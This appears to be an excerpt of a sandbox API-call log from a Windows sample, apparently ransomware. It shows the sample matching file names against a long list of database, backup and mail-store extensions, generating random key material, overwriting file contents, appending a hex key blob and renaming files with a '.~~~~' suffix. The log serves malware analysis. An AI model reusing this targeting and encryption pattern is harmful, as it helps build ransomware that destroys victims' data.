	[0087.053] lstrlenW (lpString=".DAT") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DAT") returned 0x0
	[0087.053] lstrlenW (lpString=".VHDX") returned 5
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".VHDX") returned 0x0
	[0087.053] lstrlenW (lpString=".ndf") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".ndf") returned 0x0
	[0087.053] lstrlenW (lpString=".DB") returned 3
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DB") returned 0x0
	[0087.053] lstrlenW (lpString=".sql") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".sql") returned 0x0
	[0087.053] lstrlenW (lpString=".MYD") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".MYD") returned 0x0
	[0087.053] lstrlenW (lpString=".DBT") returned 4
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DBT") returned 0x0
	[0087.053] lstrlenW (lpString=".ACCDB") returned 6
	[0087.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.054] lstrlenW (lpString=".fdb") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".fdb") returned 0x0
	[0087.054] lstrlenW (lpString=".bak") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".bak") returned 0x0
	[0087.054] lstrlenW (lpString=".myd") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".myd") returned 0x0
	[0087.054] lstrlenW (lpString=".DTXS") returned 5
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".DTXS") returned 0x0
	[0087.054] lstrlenW (lpString=".ckp") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".ckp") returned 0x0
	[0087.054] lstrlenW (lpString=".dbt") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".dbt") returned 0x0
	[0087.054] lstrlenW (lpString=".db") returned 3
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".db") returned 0x0
	[0087.054] lstrlenW (lpString=".TXT") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".TXT") returned 0x0
	[0087.054] lstrlenW (lpString=".MDF") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".MDF") returned 0x0
	[0087.054] lstrlenW (lpString=".bdb") returned 4
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".bdb") returned 0x0
	[0087.054] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.054] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0087.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0087.054] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395410) returned 1
	[0087.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0087.056] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0087.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.056] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20704591039) returned 1
	[0087.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9db0ae90, dwHighDateTime=0x1d60e1e)) 
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0087.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.057] GetLastError () returned 0x0
	[0087.057] GetLastError () returned 0x0
	[0087.057] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.057] GetLastError () returned 0x0
	[0087.057] GetLastError () returned 0x0
	[0087.087] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.087] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.089] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.089] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.092] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.092] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.092] CloseHandle (hObject=0x12c) returned 1
	[0087.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0087.092] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.~~~~")) returned 1
	[0087.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.094] GetLastError () returned 0x0
	[0087.094] lstrlenW (lpString=".sqb") returned 4
	[0087.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".sqb") returned 0x0
	[0087.094] lstrlenW (lpString=".ost") returned 4
	[0087.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".ost") returned 0x0
	[0087.094] lstrlenW (lpString=".txt") returned 4
	[0087.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".txt") returned 0x0
	[0087.094] lstrlenW (lpString=".mdt") returned 4
	[0087.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".mdt") returned 0x0
	[0087.095] lstrlenW (lpString=".BDB") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".BDB") returned 0x0
	[0087.095] lstrlenW (lpString=".eql") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".eql") returned 0x0
	[0087.095] lstrlenW (lpString=".DBF") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DBF") returned 0x0
	[0087.095] lstrlenW (lpString=".EQL") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".EQL") returned 0x0
	[0087.095] lstrlenW (lpString=".FDB") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".FDB") returned 0x0
	[0087.095] lstrlenW (lpString=".EDB") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".EDB") returned 0x0
	[0087.095] lstrlenW (lpString=".DACPAC") returned 7
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.095] lstrlenW (lpString=".VHD") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".VHD") returned 0x0
	[0087.095] lstrlenW (lpString=".DBV") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DBV") returned 0x0
	[0087.095] lstrlenW (lpString=".dacpac") returned 7
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dacpac") returned 0x0
	[0087.095] lstrlenW (lpString=".sdf") returned 4
	[0087.095] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".sdf") returned 0x0
	[0087.096] lstrlenW (lpString=".accdb") returned 6
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".accdb") returned 0x0
	[0087.096] lstrlenW (lpString=".DBX") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DBX") returned 0x0
	[0087.096] lstrlenW (lpString=".MDT") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".MDT") returned 0x0
	[0087.096] lstrlenW (lpString=".SQB") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".SQB") returned 0x0
	[0087.096] lstrlenW (lpString=".vhd") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".vhd") returned 0x0
	[0087.096] lstrlenW (lpString=".bac") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".bac") returned 0x0
	[0087.096] lstrlenW (lpString=".mdf") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".mdf") returned 0x0
	[0087.096] lstrlenW (lpString=".BAK") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".BAK") returned 0x0
	[0087.096] lstrlenW (lpString=".BAC") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".BAC") returned 0x0
	[0087.096] lstrlenW (lpString=".dbs") returned 4
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dbs") returned 0x0
	[0087.096] lstrlenW (lpString=".vhdx") returned 5
	[0087.096] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".vhdx") returned 0x0
	[0087.096] lstrlenW (lpString=".NDF") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".NDF") returned 0x0
	[0087.097] lstrlenW (lpString=".dat") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dat") returned 0x0
	[0087.097] lstrlenW (lpString=".DBS") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DBS") returned 0x0
	[0087.097] lstrlenW (lpString=".CKP") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".CKP") returned 0x0
	[0087.097] lstrlenW (lpString=".edb") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".edb") returned 0x0
	[0087.097] lstrlenW (lpString=".PST") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".PST") returned 0x0
	[0087.097] lstrlenW (lpString=".dbf") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dbf") returned 0x0
	[0087.097] lstrlenW (lpString=".SQL") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".SQL") returned 0x0
	[0087.097] lstrlenW (lpString=".pst") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".pst") returned 0x0
	[0087.097] lstrlenW (lpString=".dbv") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dbv") returned 0x0
	[0087.097] lstrlenW (lpString=".SDF") returned 4
	[0087.097] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".SDF") returned 0x0
	[0087.097] lstrlenW (lpString=".dtxs") returned 5
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dtxs") returned 0x0
	[0087.098] lstrlenW (lpString=".db3") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".db3") returned 0x0
	[0087.098] lstrlenW (lpString=".OST") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".OST") returned 0x0
	[0087.098] lstrlenW (lpString=".dbx") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dbx") returned 0x0
	[0087.098] lstrlenW (lpString=".DB3") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DB3") returned 0x0
	[0087.098] lstrlenW (lpString=".DAT") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DAT") returned 0x0
	[0087.098] lstrlenW (lpString=".VHDX") returned 5
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".VHDX") returned 0x0
	[0087.098] lstrlenW (lpString=".ndf") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".ndf") returned 0x0
	[0087.098] lstrlenW (lpString=".DB") returned 3
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DB") returned 0x0
	[0087.098] lstrlenW (lpString=".sql") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".sql") returned 0x0
	[0087.098] lstrlenW (lpString=".MYD") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".MYD") returned 0x0
	[0087.098] lstrlenW (lpString=".DBT") returned 4
	[0087.098] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DBT") returned 0x0
	[0087.099] lstrlenW (lpString=".ACCDB") returned 6
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.099] lstrlenW (lpString=".fdb") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".fdb") returned 0x0
	[0087.099] lstrlenW (lpString=".bak") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".bak") returned 0x0
	[0087.099] lstrlenW (lpString=".myd") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".myd") returned 0x0
	[0087.099] lstrlenW (lpString=".DTXS") returned 5
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".DTXS") returned 0x0
	[0087.099] lstrlenW (lpString=".ckp") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".ckp") returned 0x0
	[0087.099] lstrlenW (lpString=".dbt") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".dbt") returned 0x0
	[0087.099] lstrlenW (lpString=".db") returned 3
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".db") returned 0x0
	[0087.099] lstrlenW (lpString=".TXT") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".TXT") returned 0x0
	[0087.099] lstrlenW (lpString=".MDF") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".MDF") returned 0x0
	[0087.099] lstrlenW (lpString=".bdb") returned 4
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".bdb") returned 0x0
	[0087.099] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.099] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0087.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.100] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.101] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.101] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0087.101] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20709124084) returned 1
	[0087.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9db7d2b0, dwHighDateTime=0x1d60e1e)) 
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c998
	[0087.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0087.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6f40
	[0087.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0087.102] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.102] GetLastError () returned 0x0
	[0087.102] GetLastError () returned 0x0
	[0087.102] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.102] GetLastError () returned 0x0
	[0087.103] GetLastError () returned 0x0
	[0087.117] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
